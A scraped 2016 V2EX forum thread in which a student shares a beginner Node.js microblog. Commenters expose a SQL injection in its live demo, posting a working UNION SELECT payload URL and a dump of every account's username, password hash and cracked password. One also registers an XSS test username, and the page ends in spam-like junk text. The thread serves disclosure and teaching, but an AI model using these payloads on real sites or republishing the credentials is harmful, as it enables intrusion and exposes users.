初学 nodejs,撸了个简单的微博系统,求轻喷 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
lizhiqing1996
V2EX    Node.js

初学 nodejs,撸了个简单的微博系统,求轻喷

  •  
  •   lizhiqing1996 2016-05-24 19:09:57 +08:00 7170 次点击
    这是一个创建于 3477 天前的主题,其中的信息可能已经有所发展或是发生改变。

    截图: microblog

    示例: microblog

    源码: github

    30 条回复    2016-05-27 17:25:32 +08:00
    ruolis
        1
    ruolis  
       2016-05-24 19:15:42 +08:00
    看起来挺好的 也打算学学
    newbie269
        2
    newbie269  
       2016-05-24 19:25:58 +08:00 via iPhone
    你的 node.js 怎么学习的呀??
    a2ex
        3
    a2ex  
       2016-05-24 19:31:27 +08:00
    http 服务器消息处理+数据库读写。。。
    lizhiqing1996
        4
    lizhiqing1996  
    OP
       2016-05-24 19:32:39 +08:00
    @willhunger 我看的《 nodejs 开发指南》,这个微博例子就是上面的,不过我换了很多内容
    lizhiqing1996
        5
    liziqing1996  
    OP
       2016-05-24 19:33:48 +08:00
    @a2ex 初学只能做到这样了。。。
    Dvel
        6
    Dvel  
       2016-05-24 19:47:45 +08:00
    学了多久了,我过阵子也打算学学 node.js
    zonghua
        7
    zonghua  
       2016-05-24 19:50:17 +08:00
    没什么好学的。。。
    lizhiqing1996
        8
    lizhiqing1996  
    OP
       2016-05-24 20:20:38 +08:00   1
    @Dvel 差不多一周,大学狗没什么时间,一周七天都有课,作业还超多


    @zonghua 主要是在学 Android ,学 nodejs 主要是学习写 API
    freewheel
        9
    freewheel  
       2016-05-25 01:20:12 +08:00 via iPhone
    maek
    O3YwA1ENkb7i35XJ
        10
    O3YwA1ENkb7i35XJ  
       2016-05-25 09:05:39 +08:00   1
    赤果果的 sql 注入...
    https://github.com/Zhiqing-Lee/microblog/blob/master/models/post.js 第 32 行,自己手工将当前的用户名拼入 Sql 语句中.
    整个项目中,其他地方都是用的 ? 来带入的(这时候会自动处理, 不会有注入的情况, 只有这里自己手工带进去了).

    然后我注册了一个名为 `" or ""="` 的用户, 然后...你懂的, 自己看结果
    我注册的账号的列表页:
    http://mb.zhiqing.info/u/%22%20or%20%22%22=%22

    其他普通帐号的:
    http://mb.zhiqing.info/u/qwe
    qinxi
        11
    qinxi  
       2016-05-25 09:46:13 +08:00
    @xqin 哈哈哈,一看初学者,我就猜有人要注入
    O3YwA1ENkb7i35XJ
    12
    O3YwA1ENkb7i35XJ  
       2016-05-25 09:56:34 +08:00   1
    再来个炸弹:

    http://mb.zhiqing.info/u/%22%20union%20ALL%20select%20name%20as%20user,password%20as%20post,%200%20as%20time%20from%20users%20where%20%22%22=%22

    根据查出来的结果, 以及根据代码中密码的写入方式得知是 MD5 + base64 的结果,所以...

    以下为目前列出来的账号的密码:

    zhiqing f57b888bc53ccfa3e4a71f19604df23c 找到了,但是是一条付费才能看的.
    qwe 76d80224611fc919a5d54f0ff9fba446 qwe
    123 202cb962ac59075b964b07152d234b70 123
    <h1>123</h1> 5e6535e26cf8c546395f4e3f4c5d189e 未找到
    123qwe 46f94c8de14fb36680850768ff1b7f2a 123qwe
    3123 e10adc3949ba59abbe56e057f20f883e 123456
    <img src=x> eb6cd2e33d39e677b19b611fe2eb32ee 未找到
    jerry 202cb962ac59075b964b07152d234b70 123
    foo 37b51d194a7513e45b56f6524f2d51f2 bar
    " or ""=" e10adc3949ba59abbe56e057f20f883e 123456
    tet111 4297f44b13955235245b2497399d7a93 123123
    O3YwA1ENkb7i35XJ
        13
    O3YwA1ENkb7i35XJ  
       2016-05-25 09:57:08 +08:00
    @qinxi 这不是猜, 这是根据他的代码得出来的结论以及事实.
    cappuccinos
        14
    cappuccinos  
       2016-05-25 10:03:55 +08:00
    好样的 1!
    O3YwA1ENkb7i35XJ
        15
    O3YwA1ENkb7i35XJ  
       2016-05-25 10:09:06 +08:00
    zhiqing 的那个密码也查出来了 密码为: lizhiqing
    garipan
        16
    garipan  
       2016-05-25 10:11:18 +08:00
    你们太坏了 真的
    lizhiqing1996
        17
    lizhiqing1996  
    OP
       2016-05-25 11:02:45 +08:00 via Android
    @xqin 学习了,终于意识到自己的代码是多么不安全了
    hard2reg
        18
    hard2reg  
       2016-05-25 11:07:01 +08:00
    你们这群人,太可怕了
    td width="48" valign="top" align="center">hard2reg
        19
    hard2reg  
       2016-05-25 11:07:43 +08:00
    @xqin 大神,收我为徒吧!
    jame
        20
    jame  
       2016-05-25 12:33:22 +08:00
    帐号可以带空格, 带标签
    注册了一个<script>alert(1);</script>
    Fontaine
        21
    Fontaine  
       2016-05-25 13:46:37 +08:00
    还是 php 好啊
    miaotaizi
        22
    miaotaizi  
       2016-05-25 13:57:49 +08:00
    @Fontaine PHP 做不了微博系统, 只能做留言板......
    qfdk
        23
    qfdk  
    PRO
       2016-05-25 15:54:12 +08:00
    来来来我来围观,正好有个项目,下午去检测下
    lizhiqing1996
        24
    lizhiqing1996  
    OP
       2016-05-25 16:00:41 +08:00
    @jame 嗯,为了快速开发出来,没有对用户名密码等字符串进行过滤,好像不为空都只是在前台验证了下,


    @Fontaine 什么语言不是一样吗,初学都写得烂。。。
    lizhiqing1996
        25
    lizhiqing1996  
    OP
       2016-05-25 16:34:32 +08:00   1
    @xqin 我操作数据库老是出问题,只好增加了用户名限制,能解决这个问题吗?
    MiguelValentine
        26
    MiguelValentine  
       2016-05-25 18:37:51 +08:00
    @lizhiqing1996 pool.escape()或者 connection.escape() 处理一遍参数
    yang2yang
        27
    yang2yang  
       2016-05-25 20:46:22 +08:00
    看到那个 sql 注入,才知道原来 sql 注入是这样操作的....又学到一手
    zhpech
        28
    zhpech  
       2016-05-25 23:22:18 +08:00 via iPhone
    @miaotaizi PHP 为啥做不了微博系统………
    miaotaizi
        29
    miaotaizi  
       2016-05-27 12:40:02 +08:00
    @zhpech 只是个玩笑话, 别当真. 看楼主初学 nodejs 想起了当时自己初学 PHP 就是做留言板...
    zhpech
        30
    zhpech  
       2016-05-27 17:25:32 +08:00
    @miaotaizi (^)还以为又要黑我 PHP
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     1038 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 25ms UTC 23:34 PVG 07:34 LAX 15:34 JFK 18:34
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86